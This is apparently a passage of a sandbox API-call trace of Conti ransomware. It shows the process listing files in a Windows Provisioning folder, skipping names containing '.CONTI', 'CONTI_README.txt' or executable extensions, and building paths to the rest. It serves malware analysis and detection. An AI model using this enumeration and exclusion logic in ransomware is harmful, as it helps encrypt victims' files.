	[0109.276] StrStrIW (lpFirst="295__Connections_Cellular_Telfort (Netherlands)_i1$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.276] StrStrIW (lpFirst="295__Connections_Cellular_Telfort (Netherlands)_i1$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.276] StrStrIW (lpFirst="295__Connections_Cellular_Telfort (Netherlands)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.276] StrStrIW (lpFirst="295__Connections_Cellular_Telfort (Netherlands)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.276] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.276] lstrlenW (lpString="295__Connections_Cellular_Telfort (Netherlands)_i1$(__MVID)@WAP.provxml") returned 71
	[0109.276] GetProcessHeap () returned 0x1720000
	[0109.276] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x144) returned 0x65603e8
	[0109.276] lstrcpyW (in: lpString1=0x65603e8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.276] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.276] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="295__Connections_Cellular_Telfort (Netherlands)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\295__Connections_Cellular_Telfort (Netherlands)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\295__Connections_Cellular_Telfort (Netherlands)_i1$(__MVID)@WAP.provxml"
	[0109.276] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90b12dd6, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90b12dd6, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90b12dd6, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2e0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="296__Connections_Cellular_Telfort (Netherlands)_i2$(__MVID)@WAP.provxml", cAlternateFileName="296__C~1.PRO")) returned 1
	[0109.276] lstrcmpiW (lpString1="296__Connections_Cellular_Telfort (Netherlands)_i2$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.276] lstrcmpiW (lpString1="296__Connections_Cellular_Telfort (Netherlands)_i2$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.276] StrStrIW (lpFirst="296__Connections_Cellular_Telfort (Netherlands)_i2$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.276] StrStrIW (lpFirst="296__Connections_Cellular_Telfort (Netherlands)_i2$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.276] StrStrIW (lpFirst="296__Connections_Cellular_Telfort (Netherlands)_i2$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.276] StrStrIW (lpFirst="296__Connections_Cellular_Telfort (Netherlands)_i2$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.276] StrStrIW (lpFirst="296__Connections_Cellular_Telfort (Netherlands)_i2$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.276] StrStrIW (lpFirst="296__Connections_Cellular_Telfort (Netherlands)_i2$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.276] StrStrIW (lpFirst="296__Connections_Cellular_Telfort (Netherlands)_i2$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.276] StrStrIW (lpFirst="296__Connections_Cellular_Telfort (Netherlands)_i2$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.276] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.276] lstrlenW (lpString="296__Connections_Cellular_Telfort (Netherlands)_i2$(__MVID)@WAP.provxml") returned 71
	[0109.276] GetProcessHeap () returned 0x1720000
	[0109.277] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x144) returned 0x65612b0
	[0109.277] lstrcpyW (in: lpString1=0x65612b0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.277] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.277] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="296__Connections_Cellular_Telfort (Netherlands)_i2$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\296__Connections_Cellular_Telfort (Netherlands)_i2$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\296__Connections_Cellular_Telfort (Netherlands)_i2$(__MVID)@WAP.provxml"
	[0109.277] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90b12dd6, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90b12dd6, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90b12dd6, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2e7, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="297__Connections_Cellular_T-Mobile Netherlands (Netherlands)_i0$(__MVID)@WAP.provxml", cAlternateFileName="297__C~1.PRO")) returned 1
	[0109.277] lstrcmpiW (lpString1="297__Connections_Cellular_T-Mobile Netherlands (Netherlands)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.277] lstrcmpiW (lpString1="297__Connections_Cellular_T-Mobile Netherlands (Netherlands)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.277] StrStrIW (lpFirst="297__Connections_Cellular_T-Mobile Netherlands (Netherlands)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.277] StrStrIW (lpFirst="297__Connections_Cellular_T-Mobile Netherlands (Netherlands)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.277] StrStrIW (lpFirst="297__Connections_Cellular_T-Mobile Netherlands (Netherlands)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.277] StrStrIW (lpFirst="297__Connections_Cellular_T-Mobile Netherlands (Netherlands)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.277] StrStrIW (lpFirst="297__Connections_Cellular_T-Mobile Netherlands (Netherlands)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.277] StrStrIW (lpFirst="297__Connections_Cellular_T-Mobile Netherlands (Netherlands)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.277] StrStrIW (lpFirst="297__Connections_Cellular_T-Mobile Netherlands (Netherlands)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.277] StrStrIW (lpFirst="297__Connections_Cellular_T-Mobile Netherlands (Netherlands)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.277] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.277] lstrlenW (lpString="297__Connections_Cellular_T-Mobile Netherlands (Netherlands)_i0$(__MVID)@WAP.provxml") returned 84
	[0109.277] GetProcessHeap () returned 0x1720000
	[0109.277] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x15e) returned 0x17fdc68
	[0109.277] lstrcpyW (in: lpString1=0x17fdc68, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.277] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.277] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="297__Connections_Cellular_T-Mobile Netherlands (Netherlands)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\297__Connections_Cellular_T-Mobile Netherlands (Netherlands)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\297__Connections_Cellular_T-Mobile Netherlands (Netherlands)_i0$(__MVID)@WAP.provxml"
	[0109.277] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90b12dd6, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90b12dd6, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90b12dd6, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x35d, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="298__Connections_Cellular_Vodafone NL (Netherlands)_i0$(__MVID)@WAP.provxml", cAlternateFileName="298__C~1.PRO")) returned 1
	[0109.277] lstrcmpiW (lpString1="298__Connections_Cellular_Vodafone NL (Netherlands)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.278] lstrcmpiW (lpString1="298__Connections_Cellular_Vodafone NL (Netherlands)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.278] StrStrIW (lpFirst="298__Connections_Cellular_Vodafone NL (Netherlands)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.278] StrStrIW (lpFirst="298__Connections_Cellular_Vodafone NL (Netherlands)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.278] StrStrIW (lpFirst="298__Connections_Cellular_Vodafone NL (Netherlands)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.278] StrStrIW (lpFirst="298__Connections_Cellular_Vodafone NL (Netherlands)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.278] StrStrIW (lpFirst="298__Connections_Cellular_Vodafone NL (Netherlands)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.278] StrStrIW (lpFirst="298__Connections_Cellular_Vodafone NL (Netherlands)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.278] StrStrIW (lpFirst="298__Connections_Cellular_Vodafone NL (Netherlands)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.278] StrStrIW (lpFirst="298__Connections_Cellular_Vodafone NL (Netherlands)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.278] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.278] lstrlenW (lpString="298__Connections_Cellular_Vodafone NL (Netherlands)_i0$(__MVID)@WAP.provxml") returned 75
	[0109.278] GetProcessHeap () returned 0x1720000
	[0109.278] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x14c) returned 0x6561000
	[0109.278] lstrcpyW (in: lpString1=0x6561000, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.278] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.278] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="298__Connections_Cellular_Vodafone NL (Netherlands)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\298__Connections_Cellular_Vodafone NL (Netherlands)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\298__Connections_Cellular_Vodafone NL (Netherlands)_i0$(__MVID)@WAP.provxml"
	[0109.278] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90b12dd6, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90b12dd6, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90b12dd6, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="299__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="299__C~1.PRO")) returned 1
	[0109.278] lstrcmpiW (lpString1="299__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".") returned 1
	[0109.278] lstrcmpiW (lpString1="299__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2="..") returned 1
	[0109.278] StrStrIW (lpFirst="299__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0109.278] StrStrIW (lpFirst="299__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.278] StrStrIW (lpFirst="299__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".exe") returned 0x0
	[0109.278] StrStrIW (lpFirst="299__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".dll") returned 0x0
	[0109.278] StrStrIW (lpFirst="299__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".lnk") returned 0x0
	[0109.278] StrStrIW (lpFirst="299__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".sys") returned 0x0
	[0109.278] StrStrIW (lpFirst="299__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0109.278] StrStrIW (lpFirst="299__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.278] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.278] lstrlenW (lpString="299__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned 53
	[0109.278] GetProcessHeap () returned 0x1720000
	[0109.278] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x120) returned 0x17c7180
	[0109.278] lstrcpyW (in: lpString1=0x17c7180, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.278] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.279] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="299__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\299__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\299__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0109.279] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x901af563, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x901af563, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x901af563, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x34c, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="29__Connections_Cellular_Tele.ring (Austria)_i0$(__MVID)@WAP.provxml", cAlternateFileName="29__CO~1.PRO")) returned 1
	[0109.279] lstrcmpiW (lpString1="29__Connections_Cellular_Tele.ring (Austria)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.279] lstrcmpiW (lpString1="29__Connections_Cellular_Tele.ring (Austria)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.279] StrStrIW (lpFirst="29__Connections_Cellular_Tele.ring (Austria)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.279] StrStrIW (lpFirst="29__Connections_Cellular_Tele.ring (Austria)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.279] StrStrIW (lpFirst="29__Connections_Cellular_Tele.ring (Austria)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.279] StrStrIW (lpFirst="29__Connections_Cellular_Tele.ring (Austria)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.279] StrStrIW (lpFirst="29__Connections_Cellular_Tele.ring (Austria)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.279] StrStrIW (lpFirst="29__Connections_Cellular_Tele.ring (Austria)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.279] StrStrIW (lpFirst="29__Connections_Cellular_Tele.ring (Austria)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.279] StrStrIW (lpFirst="29__Connections_Cellular_Tele.ring (Austria)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.279] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.279] lstrlenW (lpString="29__Connections_Cellular_Tele.ring (Austria)_i0$(__MVID)@WAP.provxml") returned 68
	[0109.279] GetProcessHeap () returned 0x1720000
	[0109.279] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13e) returned 0x6b71bc0
	[0109.279] lstrcpyW (in: lpString1=0x6b71bc0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.279] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.279] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="29__Connections_Cellular_Tele.ring (Austria)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\29__Connections_Cellular_Tele.ring (Austria)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\29__Connections_Cellular_Tele.ring (Austria)_i0$(__MVID)@WAP.provxml"
	[0109.279] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900ca6de, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x900ca6de, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x900ca6de, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="2__Connections_Cellular_Djezzy (Algeria)_i0$(__MVID)@WAP.provxml", cAlternateFileName="2__CON~1.PRO")) returned 1
	[0109.279] lstrcmpiW (lpString1="2__Connections_Cellular_Djezzy (Algeria)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.279] lstrcmpiW (lpString1="2__Connections_Cellular_Djezzy (Algeria)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.279] StrStrIW (lpFirst="2__Connections_Cellular_Djezzy (Algeria)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.279] StrStrIW (lpFirst="2__Connections_Cellular_Djezzy (Algeria)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.279] StrStrIW (lpFirst="2__Connections_Cellular_Djezzy (Algeria)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.279] StrStrIW (lpFirst="2__Connections_Cellular_Djezzy (Algeria)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.279] StrStrIW (lpFirst="2__Connections_Cellular_Djezzy (Algeria)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.279] StrStrIW (lpFirst="2__Connections_Cellular_Djezzy (Algeria)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.279] StrStrIW (lpFirst="2__Connections_Cellular_Djezzy (Algeria)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.279] StrStrIW (lpFirst="2__Connections_Cellular_Djezzy (Algeria)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.279] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.280] lstrlenW (lpString="2__Connections_Cellular_Djezzy (Algeria)_i0$(__MVID)@WAP.provxml") returned 64
	[0109.280] GetProcessHeap () returned 0x1720000
	[0109.280] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x136) returned 0x6b71038
	[0109.280] lstrcpyW (in: lpString1=0x6b71038, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.280] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.280] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="2__Connections_Cellular_Djezzy (Algeria)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\2__Connections_Cellular_Djezzy (Algeria)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\2__Connections_Cellular_Djezzy (Algeria)_i0$(__MVID)@WAP.provxml"
